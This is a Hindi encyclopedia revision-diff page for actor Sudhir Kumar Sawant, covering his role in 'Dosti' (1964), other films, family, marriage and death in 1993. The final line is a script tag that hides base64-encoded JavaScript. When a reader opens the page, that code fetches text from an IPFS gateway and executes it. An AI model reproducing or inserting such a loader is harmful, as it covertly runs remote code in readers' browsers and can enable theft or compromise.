"सुधीर कुमार सावंत" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
(''''सुधीर कुमार सावंत''' भारतीय सिनेमा में हिन्दी फ़...' के साथ नया पन्ना बनाया) |
|||
पंक्ति 1: | पंक्ति 1: | ||
+ | {{सूचना बक्सा कलाकार | ||
+ | |चित्र=Sudhir-Kumar-Sawant.jpg | ||
+ | |चित्र का नाम=सुधीर कुमार सावंत | ||
+ | |पूरा नाम=सुधीर कुमार सावंत | ||
+ | |प्रसिद्ध नाम=सुधीर कुमार | ||
+ | |अन्य नाम= | ||
+ | |जन्म= | ||
+ | |जन्म भूमि= | ||
+ | |मृत्यु=[[1993]] | ||
+ | |मृत्यु स्थान= | ||
+ | |अविभावक= | ||
+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |कर्म भूमि=[[भारत]] | ||
+ | |कर्म-क्षेत्र=अभिनय | ||
+ | |मुख्य रचनाएँ= | ||
+ | |मुख्य फ़िल्में='संत ज्ञानेश्वर', '[[दोस्ती (1964 फ़िल्म)|दोस्ती]]', 'लाडला', [[मराठी भाषा|मराठी]] फ़िल्म 'घर ची राणी'। | ||
+ | |विषय= | ||
+ | |शिक्षा= | ||
+ | |विद्यालय= | ||
+ | |पुरस्कार-उपाधि= | ||
+ | |प्रसिद्धि=अभिनेता | ||
+ | |विशेष योगदान= | ||
+ | |नागरिकता=भारतीय | ||
+ | |संबंधित लेख=फ़िल्म '[[दोस्ती (1964 फ़िल्म)|दोस्ती]]' | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=[[वर्ष]] [[1960]] के दशक के आखिर में सुधीर कुमार का [[विवाह संस्कार|विवाह]] हो गया था, लेकिन विवाह के बाद उन्हें एक भी फ़िल्म नहीं मिली और वह फ़िल्मी दुनिया से बाहर ही हो गए। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | |||
'''सुधीर कुमार सावंत''' [[भारतीय सिनेमा]] में [[हिन्दी]] फ़िल्मों के अभिनेता थे। [[वर्ष]] [[1964]] की बेहद सफल फ़िल्म '[[दोस्ती (1964 फ़िल्म)|दोस्ती]]' में सुधीर कुमार ने एक ऐसे दोस्त की भूमिका निभाई थी, जिसकी [[आँख|आँखों]] में रोशनी नहीं थी। | '''सुधीर कुमार सावंत''' [[भारतीय सिनेमा]] में [[हिन्दी]] फ़िल्मों के अभिनेता थे। [[वर्ष]] [[1964]] की बेहद सफल फ़िल्म '[[दोस्ती (1964 फ़िल्म)|दोस्ती]]' में सुधीर कुमार ने एक ऐसे दोस्त की भूमिका निभाई थी, जिसकी [[आँख|आँखों]] में रोशनी नहीं थी। | ||
पंक्ति 4: | पंक्ति 38: | ||
*सुशील कुमार तथा सुधीर कुमार अच्छे दोस्त थे। उनका आपस में मिलना-जुलना और एक-दूसरे के घर आना-जाना होता रहता था। | *सुशील कुमार तथा सुधीर कुमार अच्छे दोस्त थे। उनका आपस में मिलना-जुलना और एक-दूसरे के घर आना-जाना होता रहता था। | ||
*अभिनेता सुधीर के घर में उनके [[माता]]-[[पिता]], एक बड़ी बहन शोभा और एक छोटी बहन चित्रा थे। | *अभिनेता सुधीर के घर में उनके [[माता]]-[[पिता]], एक बड़ी बहन शोभा और एक छोटी बहन चित्रा थे। | ||
− | *'आर्यभट्टम स्कूल' से सुधीर कुमार ने एस.एस.सी. | + | *'आर्यभट्टम स्कूल' से सुधीर कुमार ने एस.एस.सी. उत्तीर्ण किया था। |
*[[वी. शांताराम]] की कम्पनी 'राजकमल कला मंदिर' में सुधीर कुमार के मामा प्रभाकर मुख्य मेकअपमैन थे। | *[[वी. शांताराम]] की कम्पनी 'राजकमल कला मंदिर' में सुधीर कुमार के मामा प्रभाकर मुख्य मेकअपमैन थे। | ||
*'[[दोस्ती (1964 फ़िल्म)|दोस्ती]]' फ़िल्म से पहले सुधीर कुमार 'संत ज्ञानेश्वर' में काम कर चुके थे। ये फ़िल्म भी [[1964]] में ही प्रदर्शित हुई थी। | *'[[दोस्ती (1964 फ़िल्म)|दोस्ती]]' फ़िल्म से पहले सुधीर कुमार 'संत ज्ञानेश्वर' में काम कर चुके थे। ये फ़िल्म भी [[1964]] में ही प्रदर्शित हुई थी। |
10:41, 20 दिसम्बर 2014 का अवतरण
सुधीर कुमार सावंत
| |
पूरा नाम | सुधीर कुमार सावंत |
प्रसिद्ध नाम | सुधीर कुमार |
मृत्यु | 1993 |
कर्म भूमि | भारत |
कर्म-क्षेत्र | अभिनय |
मुख्य फ़िल्में | 'संत ज्ञानेश्वर', 'दोस्ती', 'लाडला', मराठी फ़िल्म 'घर ची राणी'। |
प्रसिद्धि | अभिनेता |
नागरिकता | भारतीय |
संबंधित लेख | फ़िल्म 'दोस्ती' |
अन्य जानकारी | वर्ष 1960 के दशक के आखिर में सुधीर कुमार का विवाह हो गया था, लेकिन विवाह के बाद उन्हें एक भी फ़िल्म नहीं मिली और वह फ़िल्मी दुनिया से बाहर ही हो गए। |
सुधीर कुमार सावंत भारतीय सिनेमा में हिन्दी फ़िल्मों के अभिनेता थे। वर्ष 1964 की बेहद सफल फ़िल्म 'दोस्ती' में सुधीर कुमार ने एक ऐसे दोस्त की भूमिका निभाई थी, जिसकी आँखों में रोशनी नहीं थी।
- सुधीर कुमार सावंत महाराष्ट्रियन थे और परेल के लाल बाग़ इलाके में रहते थे।
- सुशील कुमार तथा सुधीर कुमार अच्छे दोस्त थे। उनका आपस में मिलना-जुलना और एक-दूसरे के घर आना-जाना होता रहता था।
- अभिनेता सुधीर के घर में उनके माता-पिता, एक बड़ी बहन शोभा और एक छोटी बहन चित्रा थे।
- 'आर्यभट्टम स्कूल' से सुधीर कुमार ने एस.एस.सी. उत्तीर्ण किया था।
- वी. शांताराम की कम्पनी 'राजकमल कला मंदिर' में सुधीर कुमार के मामा प्रभाकर मुख्य मेकअपमैन थे।
- 'दोस्ती' फ़िल्म से पहले सुधीर कुमार 'संत ज्ञानेश्वर' में काम कर चुके थे। ये फ़िल्म भी 1964 में ही प्रदर्शित हुई थी।
- आगे के दिनों में सुधीर कुमार ने 'लाडला' (1966) के अलावा 'जीने की राह' (1969) और मराठी फ़िल्म 'घर ची राणी' (1968) में भी अभिनय किया। लेकिन उनका कॅरियर अधिक नहीं चल पाया।
- वर्ष 1960 के दशक के आखिर में सुधीर कुमार का विवाह हो गया था, लेकिन विवाह के बाद उन्हें एक भी फ़िल्म नहीं मिली और वह फ़िल्मी दुनिया से बाहर ही हो गए।
- सुधीर कुमार गले में जख्म होने की वजह से गंभीर रूप से बीमार पड़े और 1993 में उनकी मृत्यु हो गई।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>